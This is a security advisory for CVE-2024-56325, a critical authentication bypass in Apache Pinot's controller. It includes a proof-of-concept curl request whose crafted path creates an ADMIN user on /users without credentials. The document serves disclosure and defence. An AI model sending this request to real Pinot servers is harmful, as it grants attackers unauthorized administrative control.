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apache/pinot · Security

Apache Pinot Vulnerable to Authentication Bypass

GHSA ID
GHSA-6jwp-4wvj-6597
CVE ID
CVE-2024-56325
Severity
critical
Published
Updated
CVSS
9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v3
9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4
9.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Description

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {"username":"hack2","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"} http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

CWEs

  • CWE-288 · Authentication Bypass Using an Alternate Path or Channel

References

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